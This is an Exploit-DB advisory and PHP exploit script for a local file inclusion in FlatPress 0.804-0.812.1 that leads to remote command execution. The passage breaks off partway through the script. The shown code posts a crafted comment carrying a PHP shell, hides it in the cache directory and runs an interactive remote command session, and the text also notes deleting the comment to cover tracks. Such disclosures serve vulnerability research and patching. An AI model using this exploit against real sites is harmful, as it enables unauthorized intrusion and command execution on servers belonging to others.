Exploit-DB #9801
Description: Flatpress 0.804 < 0.812.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-09-29
Author: Giuseppe Fuggiano

Exploit:
Security Advisory
-----------------
FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution


Researcher Information
----------------------
Discovered by: Giuseppe `Zmax` Fuggiano
Website: http://www.giusef.net
Contact: giuseppe(dot)fuggiano(at)gmail(dot)com


Product Information
-------------------
FlatPress is an open-source standard-compliant multi-lingual
extensible blogging engine written in PHP by Edoardo Vacchi.

Website: http://www.flatpress.org


Vulnerability Description
-------------------------
The versions 0.804 through 0.812.1 are resulting to be prone to a nasty
LFI vulnerability which can be exploited to have RCE (Remote Command
Execution). The piece of code involved is in the
fp-includes/core/core.users.php directory in the user_get() function
as showed below.

   function user_get($userid=null){
       if ($userid == null && ($user = user_loggedin())) {
           return $user;
       }
       if (file_exists($f = USERS_DIR . $userid.".php")) {
           include($f);

           return $user;
       }
   }

It is possible to create a crafted comment for an article, and inject
PHP code into the "web link" field, which is not properly validated.
Then, a remote attacker could use this code to execute shell commands
remotely, eventually hiding his own tracks (e.g. deleting the injected
comment).


Disclosure timeline
-------------------

DD/MM/YYYY

* 24/09/2009: Vulnerability discovery and analysis;
* 26/09/2009: The vendor was notificated via e-mail;
* 26/09/2009: Vendor response and a new release publicly available;
* 27/09/2009: The researcher starts coding the exploit;
* 29/09/2009: Exploit complete and tested.


Workaroud
---------
Update to the newer version 0.812.2


Shouts
------
Thank you (you-know-who) :-)


Exploit
-------
<?php
  /* Author: Giuseppe `Zmax` Fuggiano <giuseppe(dot)fuggiano(at)gmail(dot)com>
   *
   * Description: FlatPress 0.804-0.812.1 Local File Inclusion to
Remote Command Execution
   *              vulnerability exploit (fp-includes/core/core.users.php).
   *              This code posts a crafted comment with a very simple
PHP shell.
   *              It exploits the LFI, hides the shell in the cache directory
   *              and starts a remote command session via POST.
   *
   * Syntax: php fp-lfi2rce.php <host> <path> [action] [lang] [shell]
   *         <host>:   the hostname or IP address of your target;
   *         <path>:   the path where FlatPress was installed;
   *         [action]: the action to take against the host system
(test, attack);
   *         [lang]:   the remote language used (en, it);";
   *         [shell]:  if already exploited, you could just have the shell name.
   *
   * Dependencies: php5-curl.
   *
   * Examples:
   *   php fp-lfi2rce.php www.example.com /
      => will test
   *   php fp-lfi2rce.php www.example.com /blog attack
      => will attack
   *   php fp-lfi2rce.php www.example.com /flatpress attack en
12345678.php  => start remote session
   */

  /* GET request, returns the page */
  function get_url_contents($crl, $url)
  {
    curl_setopt($crl, CURLOPT_URL, $url);
    curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');
    $ret = curl_exec($crl);

    return $ret;
  }

  /* POST request */
  function post_url_fields($crl, $url, $fields)
  {
    curl_setopt($crl, CURLOPT_URL, $url);
    curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($crl, CURLOPT_POST, 1);
    curl_setopt($crl, CURLOPT_POSTFIELDS, $fields);
    curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');
    $ret = curl_exec($crl);

    return $ret;
  }

  /* Execute remote command, returns the output */
  function fp_exec($crl, $sh, $cmd)
  {
    $ret = post_url_fields($crl, $sh, "c=$cmd");

    if ($ret) {
      $pos1 = strpos($ret, 'http://www.aaa') + 14;
      $pos2 = strpos($ret, 'aaa.com', $pos1);
      $result = substr($ret, $pos1, $pos2-$pos1);
      return $result;
    } else
      return false;
  }

  /* Starts a remote command session */
  function fp_shell($crl, $sh)
  {
    echo "\nStarting remote command session, type 'quit' or 'exit' to exit.\n";

    echo "\nremote> ";
    $line = trim(fgets(STDIN));

    while (($line != 'exit') && ($line != 'quit')) {
      if ($line != "") {
        if ($ret = fp_exec($crl, $sh, $line)) {
          echo "\n$ret";
        } else
          echo "\nError.\n";
      }
      echo "\nremote> ";
      $line = trim(fgets(STDIN));
    }
  }

  function fail($crl, $str)
  {
    curl_close($crl);

    die($str);
  }

  echo "\n Author: Giuseppe `Zmax` Fuggiano
<giuseppe(dot)fuggiano(at)gmail(dot)com>\n";
  echo "\n";
  echo " Description: FlatPress 0.804-0.812.1 Local File Inclusion to
Remote Command Execution\n";
  echo "              vulnerability exploit
(fp-includes/core/core.users.php).\n";
  echo "              This code posts a crafted comment with a very
simple PHP shell.\n";
  echo "              It exploits the LFI, hides the shell in the
cache directory\n";
  echo "              and starts a remote command session via POST.\n";
  echo "\n";
  echo " Syntax: $argv[0] <host> <path> [action] [lang] [shell]\n";
  echo "         <host>:   the hostname or IP address of your target;\n";
  echo "         <path>:   the path where FlatPress was installed;\n";
  echo "         [action]: the action to take against the host system
(test, attack);\n";
  echo "         [lang]:   the remote language used (en, it);\n";
  echo "         [shell]:  if already exploited, you could just have
the shell name.\n";
  echo "\n";
  ec